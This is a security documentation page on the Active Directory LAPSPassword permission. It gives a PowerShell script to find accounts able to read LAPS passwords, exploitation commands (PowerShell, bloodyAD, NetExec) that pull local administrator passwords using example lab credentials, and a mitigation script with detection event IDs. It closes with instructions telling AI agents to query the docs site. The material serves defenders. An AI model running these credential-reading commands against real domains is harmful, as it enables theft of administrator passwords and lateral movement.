# LAPSPassword

## Summary

|                            |                |
| -------------------------- | -------------- |
| **FSProtect ACL Alias**    | LAPSPassword   |
| **AD Alias**               | No alias.      |
| **Affected Object Types**  | Computers      |
| **Exploitation Certainty** | Certain        |
| **AD Attribute**           | ms-Mcs-AdmPwd  |
| **AD Right**               | Extended Right |

## Description

The `LAPSPassword` permission grants the authority to read local administrator passwords managed by the Local Administrator Password Solution (LAPS) in Active Directory. This permission enables system administrators to securely retrieve and manage the local administrator password of each computer. LAPS ensures that unique and complex passwords are generated for each computer, allowing passwords to be rotated automatically on a regular schedule. The `LAPSPassword` permission facilitates support and management processes by ensuring that these passwords are accessible when needed.

However, when this permission is misconfigured, it creates serious security vulnerabilities. A threat actor with the `LAPSPassword` permission extracts the credentials of local administrator accounts on target machines. Since these credentials are typically configured with extensive privileges, they are used by the attacker to infiltrate the corporate network, gain access to critical infrastructure, and carry out malicious activities. Additionally, this permission allows an attacker to maintain persistent access to systems and move laterally within the network using standard lateral-movement techniques.

## Identification

You can identify `LAPSPassword` in the domain with this script

**1.** Find-LAPSPassword function

```powershell
function Find-LAPSPassword {
   
    [CmdletBinding()]
    param (    [string]$SearchBase = $null,[string]$OutputPath = "LAPSPassword.csv")
    # Load ActiveDirectory module if not already loaded
    Import-Module ActiveDirectory
    Write-Host "Gathering Active Directory computer objects and inspecting ACLs for explicit LAPS password read permissions..."
    # Access Control Type of Access Control Entry (Allow)
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow;
    # Active Directory Rights of Access Control Entry (ExtendedRight is used for specific GUIDs)
    $ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight;
    $LAPSPasswordPermissionGuid = $null
    try {
        $RootDSE = [ADSI]"LDAP://RootDSE"
        $SchemaNamingContext = $RootDSE.schemaNamingContext
        $msMcsAdmPwdAttr = [ADSI]"LDAP://CN=ms-Mcs-AdmPwd,$SchemaNamingContext"
        $LAPSPasswordPermissionGuid = New-Object System.Guid($msMcsAdmPwdAttr.schemaIDGUID)
        if ($LAPSPasswordPermissionGuid -eq '00000000-0000-0000-0000-000000000000'){
            Throw "ms-Mcs-AdmPwd attribute cannot be found. Ensure LAPS is successfully installed and schema is extended."
        }
        Write-Host "Successfully retrieved LAPS password attribute GUID: '$LAPSPasswordPermissionGuid'."
    }
    catch {
        Write-Error "Failed to retrieve LAPS password attribute GUID. $($_.Exception.Message)"
        Write-Error "Cannot proceed. Please ensure LAPS is installed and the schema is extended, and you have permissions to read the schema."
        return
    }
    $adComputerParams = @{
        Filter    = "*"
        Properties = "nTSecurityDescriptor"
        ErrorAction = "Stop"
    }
    if ($SearchBase) {
        $adComputerParams.Add("SearchBase", $SearchBase)
        Write-Host "Searching for computer objects within '$SearchBase'."
    } else {
        Write-Host "Searching for all computer objects in the domain."
    }
    $foundAcls = @()
    try {
        $objectsToScan = Get-ADComputer @adComputerParams
        if (-not $objectsToScan) {
            Write-Output "No Active Directory computer objects found matching the criteria."
            return
        }
        foreach ($obj in $objectsToScan) {
            $ComputerDistinguishedName = $obj.DistinguishedName;
            try {
                $acl = Get-Acl -Path "AD:$ComputerDistinguishedName"
                foreach ($ace in $acl.Access) {
                    if ($ace.AccessControlType -eq $AccessControlType -and
                        ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and # Use -band for bitwise comparison
                        ($ace.ObjectType -eq $LAPSPasswordPermissionGuid)) {
                        $foundAcls += [PSCustomObject]@{
                            'Vulnerable Computer' = $ComputerDistinguishedName
                            'Internal Threat'     = $ace.IdentityReference.Value
                        }
                    }
                }
            }
            catch {
                Write-Warning "Could not retrieve ACL for '$ComputerDistinguishedName': $($_.Exception.Message)"}
        }
    }
    catch {
        Write-Error "Failed to retrieve Active Directory computer objects: $($_.Exception.Message)"
        return
    }

    # Export the results to CSV if any were found
    if ($foundAcls.Count -gt 0) {
        Write-Host "Found $($foundAcls.Count) Active Directory computer object(s) with explicit LAPS password read permissions (excluding default admin groups and built-in accounts)."
        try {
            # Filter out duplicate entries before exporting based on both columns
            $foundAcls | Sort-Object -Unique 'Vulnerable Computer', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Output "Results exported successfully to '$OutputPath'"
        }
        catch {
            Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
        }
    } else {
        Write-Output "No Active Directory computer objects found with explicit LAPS password read permissions (excluding default admin groups and built-in accounts)."
    }
}
```

**2.** Scan all domain Computers

```powershell
Find-LAPSPassword
```

**3.** Using SearchBase to limit the search scope

```powershell
Find-LAPSPassword -SearchBase 'OU=workstations,DC=forestall,DC=Labs'
```

## Exploitation

This vulnerability can be exploited on Windows systems with PowerShell, while on Linux systems, tools such as BloodyAD can be used for exploitation.

### Windows

An attacker can perform the `LAPSPassword` attack with this cmdlets on windows.

With `Get-ADComputer`

```powershell
Get-ADComputer -Identity '<Vulnerable Computer>' -Properties ms-Mcs-AdmPwd| Select-Object Name, @{Name="ms-Mcs-AdmPwd";Expression={$_.Item("ms-Mcs-AdmPwd")}} | Format-List
```

Example:

```powershell
Get-ADComputer -Identity 'VM01$' -Properties ms-Mcs-AdmPwd| Select-Object Name, @{Name="ms-Mcs-AdmPwd";Expression={$_.Item("ms-Mcs-AdmPwd")}} | Format-List
```

![alt text](/files/qNd6EYBXrlhvaUpM3QLt)

With `Get-AdmPwdPassword` (AdmPwd.PS should be installed [AdmPwd.PS](https://www.powershellgallery.com/packages/AdmPwd.PS/1.0.0))

```powershell
Get-AdmPwdPassword -ComputerName '<Vulnerable Computer>'
```

Example:

```powershell
Get-AdmPwdPassword -ComputerName 'VM01' 
```

![LAPS Password using AdmPwd.PS](/files/6RMPucCV6Hj4PsuJdk9j)

### Linux

Using [BloodyAD](https://github.com/CravateRouge/bloodyAD) to read the LAPS Password

To scan the domain and retrieve all accessible passwords

```bash
bloodyAD --host "<DC IP>" -d "<Domain FQDN>" -u "<Username>" -p '<Password>' get search --filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd
```

Example:

```bash
bloodyAD --host dc01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get search --filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd
```

![alt text](/files/ODsPNIvV0uVuksJrRJOT)

To retrieve passwords from a specific computer

```bash
bloodyAD --host "<DC IP>" -d "<Domain FQDN>" -u "<Username>" -p '<Password>' get object '<Vulnerable Computer>' --attr ms-Mcs-AdmPwd
```

Example:

```bash
bloodyAD --host dc01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object 'vm01$' --attr ms-Mcs-AdmPwd
```

![alt text](/files/QzhCjoO6ZHFV9Lyavm5A)

Using `NetExec`

```bash
nxc ldap <dcip> -u <user> -p '<pass>' -M laps
```

Example:

```bash
nxc ldap dc01.forestall.labs -u adam -p 'Temp123!' -M laps
```

![alt text](/files/Tma6rZE7bAGmfrrjpH2H)

## Mitigation

Risky Access Control Entries should be removed by following the steps below.

**1.** Identify accounts allowed to read

```powershell
(Find-AdmPwdExtendedRights -Identity Workstations).ExtendedRightHolders
```

![Find users that have rights](/files/1fJb3VlYCwp2yhfAZrho)

**2.** Write below script (or copy/paste)

```powershell
# Load ActiveDirectory module
Import-Module ActiveDirectory

# Parameters
$OU = "OU=Workstations,DC=forestall,DC=labs"
$User = "FORESTALL\adam"

# Get the DirectoryEntry object for the OU
$ouEntry = [ADSI]"LDAP://$OU"

# Translate user name to NTAccount SID
$ntAccount = New-Object System.Security.Principal.NTAccount($User)
$sid = $ntAccount.Translate([System.Security.Principal.SecurityIdentifier])

# Get current security descriptor
$securityDescriptor = $ouEntry.ObjectSecurity

# Get all access rules for the user
$accessRules = $securityDescriptor.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
$rulesToRemove = $accessRules | Where-Object { $_.IdentityReference -eq $sid -and $_.ActiveDirectoryRights -match "ExtendedRight|ReadProperty|WriteProperty" }

# Remove matching ACEsimage-5
foreach ($rule in $rulesToRemove) {
    $securityDescriptor.RemoveAccessRule($rule) | Out-Null
}
# Commit changes
$ouEntry.ObjectSecurity = $securityDescriptor
$ouEntry.CommitChanges()
Write-Host "[+] Removed LAPS extended rights for $User from $OU"
```

![Powershell Mitigation Script](/files/LGGYp1YGGFMcfImjctW4)

## Detection

Adding new Access Control Entries to Active Directory objects changes the ntSecurityDescriptor attribute of the objects. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.

| Event ID | Description                              | Fields/Attributes      | References                                                                                 |
| -------- | ---------------------------------------- | ---------------------- | ------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified. | ntSecurityDescriptor   | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136> |
| 4662     | An operation was performed on an object. | AccessList, AccessMask | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662> |

## References

* [LAPS Technical Reference (Microsoft Docs)](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-technical-reference)
* [ReadLAPSPassword (The Hacker Recipes)](https://www.thehacker.recipes/ad/movement/dacl/readLAPSPassword)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/lapspassword.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
